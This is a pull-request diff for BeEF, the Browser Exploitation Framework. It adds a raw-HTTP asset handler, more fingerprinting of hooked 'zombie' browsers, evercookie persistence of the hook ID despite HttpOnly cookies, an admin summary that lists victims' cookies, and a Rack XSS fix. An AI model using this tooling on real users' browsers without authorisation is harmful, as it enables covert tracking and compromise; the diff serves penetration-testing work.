Merge pull request #845 from bcoles/raw_http

Add 'bind_raw' to asset handler

.gitignore

@@ -1,3 +1,5 @@
 beef.db
 test/msf-test
-custom-config.yaml
+custom-config.yaml
+.DS_Store
+.gitignore

VERSION

@@ -4,4 +4,4 @@
 # See the file 'doc/COPYING' for copying permission
 #
 
-0.4.4.1-alpha
+0.4.4.2.1-alpha

config.yaml

@@ -6,7 +6,7 @@
 # BeEF Configuration file
 
 beef:
-    version: '0.4.4.1-alpha'
+    version: '0.4.4.2.1-alpha'
     debug: false
 
     restrictions:

core/bootstrap.rb

@@ -25,6 +25,7 @@ require 'core/main/handlers/browserdetails'
 # @note Include the network stack
 require 'core/main/network_stack/handlers/dynamicreconstruction'
 require 'core/main/network_stack/handlers/redirector'
+require 'core/main/network_stack/handlers/raw'
 require 'core/main/network_stack/assethandler'
 require 'core/main/network_stack/api'
 

core/main/client/hardware.js

@@ -8,6 +8,42 @@ beef.hardware = {
 
 	ua: navigator.userAgent,
 
+	cpuType: function() {
+		// IE
+		if (typeof navigator.cpuClass != 'undefined') {
+			cpu = navigator.cpuClass;
+			if (cpu == "x86")   return "32-bit";
+			if (cpu == "68K")   return "Motorola 68K";
+			if (cpu == "PPC")   return "Motorola PPC";
+			if (cpu == "Alpha") return "Digital";
+			if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
+			if (this.ua.match('Win64; x64'))  return "64-bit (AMD)";
+		// Firefox
+        } else if (typeof navigator.oscpu != 'undefined') {
+			if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
+		}
+		if (navigator.platform.toLowerCase() == "win64") return "64-bit";
+		return "32-bit";
+	},
+
+	isTouchEnabled: function() {
+		if ('ontouchstart' in document) return true;
+		return false;
+	},
+
+	isVirtualMachine: function() {
+		if (screen.width % 2 || screen.height % 2) return true;
+		return false;
+	},
+
+	isLaptop: function() {
+		// Most common laptop screen resolution
+		if (screen.width == 1366 && screen.height == 768) return true;
+		// Netbooks
+		if (screen.width == 1024 && screen.height == 600) return true;
+		return false;
+	},
+
 	isNokia: function() {
 		return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
 	},
@@ -36,13 +72,13 @@ beef.hardware = {
          * Returns true if the browser is on a Mobile Phone
          * @return: {Boolean} true or false
          *
-         * @example: if(beef.browser.isMobilePhone()) { ... }
+         * @example: if(beef.hardware.isMobilePhone()) { ... }
          **/
         isMobilePhone: function() {
             return DetectMobileQuick();
         },
 
-	getMobileName: function() {
+	getName: function() {
                 var ua = navigator.userAgent.toLowerCase();
                 if(DetectIphone())              { return "iPhone"};
                 if(DetectIpod())                { return "iPod Touch"};
@@ -78,11 +114,13 @@ beef.hardware = {
                 if(DetectSonyMylo())            { return "Sony Mylo"};
                 if(DetectAmazonSilk())          { return "Kindle Fire"};
                 if(DetectKindle())              { return "Kindle"};
-                if(DetectSonyPlaystation())                 { return "Playstation" };
+                if(DetectSonyPlaystation())                 { return "Playstation"};
                 if(ua.search(deviceNintendoDs) > -1)        { return "Nintendo DS"};
                 if(ua.search(deviceWii) > -1)               { return "Nintendo Wii"};
                 if(ua.search(deviceNintendo) > -1)          { return "Nintendo"};
                 if(DetectXbox())                            { return "Xbox"};
+				if(this.isLaptop())							{ return "Laptop"};
+                if(this.isVirtualMachine())                 { return "Virtual Machine"};
 
 		return 'Unknown';
 	}

core/main/client/lib/evercookie.js

@@ -793,14 +793,19 @@ this.waitForSwf = function(i)
 
 this.evercookie_cookie = function(name, value)
 {
-	if (typeof(value) != "undefined")
-	{
-		// expire the cookie first
-		document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
-		document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
-	}
-	else
-		return this.getFromStr(name, document.cookie);
+    try{
+        if (typeof(value) != "undefined")
+        {
+            // expire the cookie first
+            document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
+            document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
+        }
+        else
+            return this.getFromStr(name, document.cookie);
+    }catch(e){
+        // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
+        // evercookie_userdata and evercookie_window will be used in this case.
+    }
 };
 
 // get value from param-like string (eg, "x=y&name=VALUE")

core/main/client/os.js

@@ -7,9 +7,9 @@
 beef.os = {
 
 	ua: navigator.userAgent,
-	
+
 	isWin311: function() {
-		return (this.ua.indexOf("Win16") != -1) ? true : false;
+		return (this.ua.match('(Win16)')) ? true : false;
 	},
 	
 	isWinNT4: function() {
@@ -19,18 +19,25 @@ beef.os = {
 	isWin95: function() {
 		return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
 	},
+	isWinCE: function() {
+		return (this.ua.match('(Windows CE)')) ? true : false;
+	},
 	
 	isWin98: function() {
 		return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
 	},
 	
 	isWinME: function() {
-		return (this.ua.indexOf('Windows ME') != -1) ? true : false;
+		return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
 	},
 	
 	isWin2000: function() {
 		return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
 	},
+
+	isWin2000SP1: function() {
+		return (this.ua.match('Windows NT 5.01 ')) ? true : false;
+	},
 	
 	isWinXP: function() {
 		return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
@@ -47,6 +54,10 @@ beef.os = {
 	isWin7: function() {
 		return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
 	},
+
+	isWin8: function() {
+		return (this.ua.match('(Windows NT 6.2)')) ? true : false;
+	},
 	
 	isOpenBSD: function() {
 		return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
@@ -103,19 +114,26 @@ beef.os = {
 	isBeOS: function() {
 		return (this.ua.match('BeOS')) ? true : false;
 	},
+
+	isWindows: function() {
+		return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWinPhone();
+	},
 	
 	getName: function() {
-		//windows
-		if(this.isWin311()) return 'Windows 3.11';
-		if(this.isWinNT4()) return 'Windows NT 4';
-		if(this.isWin95()) return 'Windows 95';
-		if(this.isWin98()) return 'Windows 98';
-		if(this.isWinME()) return 'Windows Millenium';
-		if(this.isWin2000()) return 'Windows 2000';
-		if(this.isWinXP()) return 'Windows XP';
+		//Windows
+		if(this.isWin311())        return 'Windows 3.11';
+		if(this.isWinNT4())        return 'Windows NT 4';
+		if(this.isWinCE())         return 'Windows CE';
+		if(this.isWin95())         return 'Windows 95';
+		if(this.isWin98())         return 'Windows 98';
+		if(this.isWinME())         return 'Windows Millenium';
+		if(this.isWin2000())       return 'Windows 2000';
+		if(this.isWin2000SP1())    return 'Windows 2000 SP1';
+		if(this.isWinXP())         return 'Windows XP';
 		if(this.isWinServer2003()) return 'Windows Server 2003';
-		if(this.isWinVista()) return 'Windows Vista';
-		if(this.isWin7()) return 'Windows 7';
+		if(this.isWinVista())      return 'Windows Vista';
+		if(this.isWin7())          return 'Windows 7';
+		if(this.isWin8())          return 'Windows 8';
 
 		//Nokia
 		if(this.isNokia()) {

core/main/constants/hardware.rb

@@ -12,6 +12,8 @@ module Constants
   module Hardware
 
     HW_UNKNOWN_IMG        = 'pc.png'
+	HW_VM_IMG             = 'vm.png'
+	HW_LAPTOP_IMG         = 'laptop.png'
 	HW_IPHONE_UA_STR      = 'iPhone'
  	HW_IPHONE_IMG         = 'iphone.jpg'
 	HW_IPAD_UA_STR	      = 'iPad'

core/main/handlers/browserdetails.rb

@@ -168,11 +168,11 @@ module BeEF
           end
 
           # get and store the system platform
-          system_platform = get_param(@data['results'], 'SystemPlatform')
+          system_platform = get_param(@data['results'], 'BrowserPlatform')
           if BeEF::Filters.is_valid_system_platform?(system_platform)
-            BD.set(session_id, 'SystemPlatform', system_platform)
+            BD.set(session_id, 'BrowserPlatform', system_platform)
           else
-            self.err_msg "Invalid system platform returned from the hook browser's initial connection."
+            self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
           end
 
           # get and store the hooked browser type
@@ -255,6 +255,54 @@ module BeEF
             self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
           end
 
+          # get and store the yes|no value for HasSilverlight
+          has_silverlight = get_param(@data['results'], 'HasSilverlight')
+          if BeEF::Filters.is_valid_yes_no?(has_silverlight)
+            BD.set(session_id, 'HasSilverlight', has_silverlight)
+          else
+            self.err_msg "Invalid value for HasSilverlight returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasQuickTime
+          has_quicktime = get_param(@data['results'], 'HasQuickTime')
+          if BeEF::Filters.is_valid_yes_no?(has_quicktime)
+            BD.set(session_id, 'HasQuickTime', has_quicktime)
+          else
+            self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasRealPlayer
+          has_realplayer = get_param(@data['results'], 'HasRealPlayer')
+          if BeEF::Filters.is_valid_yes_no?(has_realplayer)
+            BD.set(session_id, 'HasRealPlayer', has_realplayer)
+          else
+            self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasVLC
+          has_vlc = get_param(@data['results'], 'HasVLC')
+          if BeEF::Filters.is_valid_yes_no?(has_vlc)
+            BD.set(session_id, 'HasVLC', has_vlc)
+          else
+            self.err_msg "Invalid value for HasVLC returned from the hook browser's initial connection."
+          end
+
+          # get and store the value for CPU
+          cpu_type = get_param(@data['results'], 'CPU')
+          if !cpu_type.nil?
+            BD.set(session_id, 'CPU', cpu_type)
+          else
+            self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
+          end
+
+          # get and store the value for TouchEnabled
+          touch_enabled = get_param(@data['results'], 'TouchEnabled')
+          if BeEF::Filters.is_valid_yes_no?(touch_enabled)
+            BD.set(session_id, 'TouchEnabled', touch_enabled)
+          else
+            self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
+          end
+
           # get and store whether the browser has session cookies enabled
           has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
           if BeEF::Filters.is_valid_yes_no?(has_session_cookies)

core/main/models/browserdetails.rb

@@ -103,7 +103,9 @@ module Models
     def self.hw_icon(session_id)
 
       ua_string = get(session_id, 'BrowserReportedName')
-
+      hardware  = get(session_id, 'Hardware')
+      return BeEF::Core::Constants::Hardware::HW_VM_IMG if hardware =~ /Virtual Machine/
+      return BeEF::Core::Constants::Hardware::HW_LAPTOP_IMG if hardware =~ /Laptop/
       return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
 
       return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR

core/main/network_stack/assethandler.rb

@@ -38,6 +38,24 @@ module Handlers
       url
     end
 
+    # Binds raw HTTP to a mount point
+    # @param [Integer] status HTTP status code to return
+    # @param [String] headers HTTP headers as a JSON string to return
+    # @param [String] body HTTP body to return
+    # @param [String] path URL path to mount the asset to TODO (can be nil for random path)
+    # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
+    def bind_raw(status, header, body, path=nil, count=-1)
+      url = build_url(path,nil)
+      @allocations[url] = {}
+      @http_server.mount(
+        url,
+        BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)
+      )
+      @http_server.remap
+      print_info "Raw HTTP bound to url [" + url + "]"
+      url
+    end
+
     # Binds a file to a mount point
     # @param [String] file File path to asset
     # @param [String] path URL path to mount the asset to (can be nil for random path)

core/main/network_stack/handlers/raw.rb

@@ -0,0 +1,33 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+  module Core
+    module NetworkStack
+      module Handlers
+
+        class Raw
+
+	        def initialize(status, header={}, body)
+	        	@status  = status
+	                @header  = header
+	                @body    = body
+	        end
+
+	        def call(env)
+	            [@status, @header, @body]
+	        end
+
+	        private
+
+	        @request
+
+	        @response
+
+	    end
+	end
+end
+end
+end

core/main/rest/handlers/hookedbrowsers.rb

@@ -72,15 +72,15 @@ module BeEF
            details = BeEF::Core::Models::BrowserDetails
 
            {
-               'id' => hb.id,
-               'session' => hb.session,
-               'name' => details.get(hb.session, 'BrowserName'),
-               'version' => details.get(hb.session, 'BrowserVersion'),
-               'os' => details.get(hb.session, 'OsName'),
-               'platform' => details.get(hb.session, 'SystemPlatform'),
-               'ip' => hb.ip,
-               'domain' => details.get(hb.session, 'HostName'),
-               'port' => hb.port.to_s,
+               'id'       => hb.id,
+               'session'  => hb.session,
+               'name'     => details.get(hb.session, 'BrowserName'),
+               'version'  => details.get(hb.session, 'BrowserVersion'),
+               'os'       => details.get(hb.session, 'OsName'),
+               'platform' => details.get(hb.session, 'BrowserPlatform'),
+               'ip'       => hb.ip,
+               'domain'   => details.get(hb.session, 'HostName'),
+               'port'     => hb.port.to_s,
                'page_uri' => details.get(hb.session, 'PageURI')
            }
         end
@@ -88,4 +88,4 @@ module BeEF
       end
     end
   end
-end
+end

core/ruby.rb

@@ -7,6 +7,9 @@
 # @note Patching Ruby Security
 require 'core/ruby/security'
 
+# @note Patching Rack File class to prevent a potential XSS
+require 'core/ruby/file.rb'
+
 # @note Patching Ruby
 require 'core/ruby/module'
 require 'core/ruby/object'

core/ruby/file.rb

@@ -0,0 +1,44 @@
+require 'time'
+require 'rack/utils'
+require 'rack/mime'
+
+module Rack
+  class File
+    def _call(env)
+      unless ALLOWED_VERBS.include? env["REQUEST_METHOD"]
+        return fail(405, "Method Not Allowed")
+      end
+
+      @path_info = Utils.unescape(env["PATH_INFO"])
+      parts = @path_info.split SEPS
+
+      parts.inject(0) do |depth, part|
+        case part
+          when '', '.'
+            depth
+          when '..'
+            return fail(404, "Not Found") if depth - 1 < 0
+            depth - 1
+          else
+            depth + 1
+        end
+      end
+
+      @path = F.join(@root, *parts)
+
+      available = begin
+        F.file?(@path) && F.readable?(@path)
+      rescue SystemCallError
+        false
+      end
+
+      if available
+        serving(env)
+      else
+        # this is the patched line. No need to reflect the URI path, potential XSS
+        # exploitable if you can bypass the Content-type: text/plain (IE MHTML and tricks like that)
+        fail(404, "File not found")
+      end
+    end
+  end
+end

extensions/admin_ui/controllers/modules/modules.rb

@@ -7,14 +7,14 @@ module BeEF
 module Extension
 module AdminUI
 module Controllers
-  
+
 #
 #
 #
 class Modules < BeEF::Extension::AdminUI::HttpController
-  
+
   BD = BeEF::Core::Models::BrowserDetails
-  
+
   def initialize
     super({
       'paths' => {
@@ -31,7 +31,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
         '/commandmodule/reexecute'          => method(:reexecute_command_module)
       }
     })
-    
+
     @session = BeEF::Extension::AdminUI::Session.instance
   end
 
@@ -45,11 +45,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
          'token' => BeEF::Core::Configuration.instance.get("beef.api_token")
      }.to_json
   end
-  
+
   # Returns a JSON array containing the summary for a selected zombie.
   def select_zombie_summary
 
-    # get the zombie 
+    # get the zombie
     zombie_session = @params['zombie_session'] || nil
     (print_error "Zombie session is nil";return) if zombie_session.nil?
     zombie = BeEF::Core::Models::HookedBrowser.first(:session => zombie_session)
@@ -57,390 +57,91 @@ class Modules < BeEF::Extension::AdminUI::HttpController
 
     # init the summary grid
     summary_grid_hash = {
-      'success' => 'true', 
+      'success' => 'true',
       'results' => []
     }
 
-    # set and add the return values for the page title
-    page_title = BD.get(zombie_session, 'PageTitle') 
-    if not page_title.nil?
-      encoded_page_title = CGI.escapeHTML(page_title)
-      encoded_page_title_hash = { 'Page Title' => encoded_page_title }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_title_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
+    # zombie properties
+    # in the form of: category, UI label, value
+    zombie_properties = [
+
+        # Browser
+        ['Browser', 'Browser Name',       'BrowserName'],
+        ['Browser', 'Browser Version',    'BrowserVersion'],
+        ['Browser', 'Browser UA String',  'BrowserReportedName'],
+        ['Browser', 'Browser Platform',   'BrowserPlatform'],
+        ['Browser', 'Browser Plugins',    'BrowserPlugins'],
+        ['Browser', 'Window Size',        'WindowSize'],
+
+        # Browser Components
+        ['Browser Components', 'Flash',              'HasFlash'],
+        ['Browser Components', 'Java',               'JavaEnabled'],
+        ['Browser Components', 'VBScript',           'VBScriptEnabled'],
+        ['Browser Components', 'PhoneGap',           'HasPhonegap'],
+        ['Browser Components', 'Google Gears',       'HasGoogleGears'],
+        ['Browser Components', 'Silverlight',        'HasSilverlight'],
+        ['Browser Components', 'Web Sockets',        'HasWebSocket'],
+        ['Browser Components', 'QuickTime',          'HasQuickTime'],
+        ['Browser Components', 'RealPlayer',         'HasRealPlayer'],
+        ['Browser Components', 'VLC',                'HasVLC'],
+        ['Browser Components', 'ActiveX',            'HasActiveX'],
+        ['Browser Components', 'Session Cookies',    'hasSessionCookies'],
+        ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
+
+        # Hooked Page
+        ['Hooked Page', 'Page Title',    'PageTitle'],
+        ['Hooked Page', 'Page URI',      'PageURI'],
+        ['Hooked Page', 'Page Referrer', 'PageReferrer'],
+        ['Hooked Page', 'Host Name/IP',  'HostName'],
+        ['Hooked Page', 'Cookies',       'Cookies'],
+
+        # Host
+        ['Host', 'Date',             'DateStamp'],
+        ['Host', 'Operating System', 'OsName'],
+        ['Host', 'Hardware',         'Hardware'],
+        ['Host', 'CPU',              'CPU'],
+        ['Host', 'Screen Size',      'ScreenSize'],
+        ['Host', 'Touch Screen',     'TouchEnabled']
+    ]
+
+    # set and add the return values for each browser property
+    # in the form of: category, UI label, value
+    zombie_properties.each do |p|
+
+      case p[2]
+        when "BrowserName"
+          data   = BeEF::Core::Constants::Browsers.friendly_name(BD.get(zombie_session, p[2]))
+
+        when "ScreenSize"
+          screen_size_hash = JSON.parse(BD.get(zombie_session, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = screen_size_hash['width']
+          height = screen_size_hash['height']
+          cdepth = screen_size_hash['colordepth']
+          data   = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
+
+        when "WindowSize"
+          window_size_hash = JSON.parse(BD.get(zombie_session, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = window_size_hash['width']
+          height = window_size_hash['height']
+          data   = "Width: #{width}, Height: #{height}"
+        else
+          data   = BD.get(zombie_session, p[2])
+      end
+
+      # add property to summary hash
+      if not data.nil?
+        summary_grid_hash['results'].push({
+          'category' => p[0],
+          'data'     => { p[1] => CGI.escapeHTML("#{data}") },
+          'from'     => 'Initialization'
+        })
+      end
+
     end
 
-    # set and add the return values for the page uri
-    page_uri = BD.get(zombie_session, 'PageURI')
-    if not page_uri.nil?
-      encoded_page_uri = CGI.escapeHTML(page_uri)
-      encoded_page_uri_hash = { 'Page URI' => encoded_page_uri }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_uri_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the page referrer
-    page_referrer = BD.get(zombie_session, 'PageReferrer')
-    if not page_referrer.nil?
-      encoded_page_referrer = CGI.escapeHTML(page_referrer)
-      encoded_page_referrer_hash = { 'Page Referrer' => encoded_page_referrer }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_referrer_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the host name
-    host_name = BD.get(zombie_session, 'HostName') 
-    if not host_name.nil?
-      encoded_host_name = CGI.escapeHTML(host_name)
-      encoded_host_name_hash = { 'Hostname/IP' => encoded_host_name }
-    
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_host_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the return values for the date stamp
-    date_stamp = BD.get(zombie_session, 'DateStamp')
-    if not date_stamp.nil?
-      encoded_date_stamp = CGI.escapeHTML(date_stamp)
-      encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_date_stamp_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the os name
-    os_name = BD.get(zombie_session, 'OsName')
-    if not os_name.nil?
-      encoded_os_name = CGI.escapeHTML(os_name)
-      encoded_os_name_hash = { 'OS Name' => encoded_os_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_os_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the hardware name
-    hw_name = BD.get(zombie_session, 'Hardware')
-    if not hw_name.nil?
-      encoded_hw_name = CGI.escapeHTML(hw_name)
-      encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_hw_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
- 
-    # set and add the return values for the browser name
-    browser_name = BD.get(zombie_session, 'BrowserName') 
-    if not browser_name.nil?
-      friendly_browser_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
-      browser_name_hash = { 'Browser Name' => friendly_browser_name }
-
-      browser_name_row = {
-        'category' => 'Browser',
-        'data' => browser_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_name_row) # add the row
-    end
-    
-    # set and add the return values for the browser version
-    browser_version = BD.get(zombie_session, 'BrowserVersion') 
-    if not browser_version.nil?
-      encoded_browser_version = CGI.escapeHTML(browser_version)
-      browser_version_hash = { 'Browser Version' => encoded_browser_version }
-
-      browser_version_row = {
-        'category' => 'Browser',
-         'data' => browser_version_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_version_row) # add the row
-    end
-    
-    # set and add the return values for the browser ua string
-    browser_uastring = BD.get(zombie_session, 'BrowserReportedName')
-    if not browser_uastring.nil?
-      browser_uastring_hash = { 'Browser UA String' => browser_uastring }
-
-      browser_uastring_row = {
-        'category' => 'Browser',
-         'data' => browser_uastring_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_uastring_row) # add the row
-    end
-    
-    # set and add the list of cookies
-    cookies = BD.get(zombie_session, 'Cookies')
-    if not cookies.nil? and not cookies.empty?
-      encoded_cookies = CGI.escapeHTML(cookies)
-      encoded_cookies_hash = { 'Cookies' => encoded_cookies }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_cookies_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the list of plugins installed in the browser
-    browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
-    if not browser_plugins.nil? and not browser_plugins.empty?
-      encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
-      encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
-      
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_browser_plugins_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the System Platform
-    system_platform = BD.get(zombie_session, 'SystemPlatform')
-    if not system_platform.nil?
-      encoded_system_platform = CGI.escapeHTML(system_platform)
-      encoded_system_platform_hash = { 'System Platform' => encoded_system_platform }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_system_platform_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie screen size and color depth
-    screen_size = BD.get(zombie_session, 'ScreenSize')
-    if not screen_size.nil?
-      
-      screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = screen_size_hash['width']
-      (print_error "width is wrong type";return) if not width.is_a?(Fixnum)
-      height = screen_size_hash['height']
-      (print_error "height is wrong type";return) if not height.is_a?(Fixnum)
-      colordepth = screen_size_hash['colordepth']
-      (print_error "colordepth is wrong type";return) if not colordepth.is_a?(Fixnum)
-      
-      # construct the string to be displayed in the details tab
-      encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
-      encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
-      
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_screen_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie browser window size
-    window_size = BD.get(zombie_session, 'WindowSize')
-    if not window_size.nil?
-
-      window_size_hash = JSON.parse(window_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = window_size_hash['width']
-      (print_error "width is wrong type";return) if not width.is_a?(Fixnum)
-      height = window_size_hash['height']
-      (print_error "height is wrong type";return) if not height.is_a?(Fixnum)
-
-      # construct the string to be displayed in the details tab
-      encoded_window_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s)
-      encoded_window_size_hash = { 'Window Size' => encoded_window_size }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_window_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for JavaEnabled
-    java_enabled = BD.get(zombie_session, 'JavaEnabled')
-    if not java_enabled.nil?
-      encoded_java_enabled = CGI.escapeHTML(java_enabled)
-      encoded_java_enabled_hash = { 'Java Enabled' => encoded_java_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_java_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for VBScriptEnabled
-    vbscript_enabled = BD.get(zombie_session, 'VBScriptEnabled')
-    if not vbscript_enabled.nil?
-      encoded_vbscript_enabled = CGI.escapeHTML(vbscript_enabled)
-      encoded_vbscript_enabled_hash = { 'VBScript Enabled' => encoded_vbscript_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_vbscript_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasFlash
-    has_flash = BD.get(zombie_session, 'HasFlash')
-    if not has_flash.nil?
-      encoded_has_flash = CGI.escapeHTML(has_flash)
-      encoded_has_flash_hash = { 'Has Flash' => encoded_has_flash }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_flash_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for hasPhonegap
-    has_phonegap = BD.get(zombie_session, 'hasPhonegap')
-    if not has_phonegap.nil?
-      encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
-      encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_phonegap_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasGoogleGears
-    has_googlegears = BD.get(zombie_session, 'HasGoogleGears')
-    if not has_googlegears.nil?
-      encoded_has_googlegears = CGI.escapeHTML(has_googlegears)
-      encoded_has_googlegears_hash = { 'Has GoogleGears' => encoded_has_googlegears }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_googlegears_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasWebSocket
-    has_web_socket = BD.get(zombie_session, 'HasWebSocket')
-    if not has_web_socket.nil?
-      encoded_has_web_socket = CGI.escapeHTML(has_web_socket)
-      encoded_has_web_socket_hash = { 'Has WebSockets' => encoded_has_web_socket }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_web_socket_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasActiveX
-    has_activex = BD.get(zombie_session, 'HasActiveX')
-    if not has_activex.nil?
-      encoded_has_activex = CGI.escapeHTML(has_activex)
-      encoded_has_activex_hash = { 'Has ActiveX' => encoded_has_activex }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_activex_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasSessionCookies
-    has_session_cookies = BD.get(zombie_session, 'hasSessionCookies')
-    if not has_session_cookies.nil?
-      encoded_has_session_cookies = CGI.escapeHTML(has_session_cookies)
-      encoded_has_session_cookies_hash = { 'Session Cookies' => encoded_has_session_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_session_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
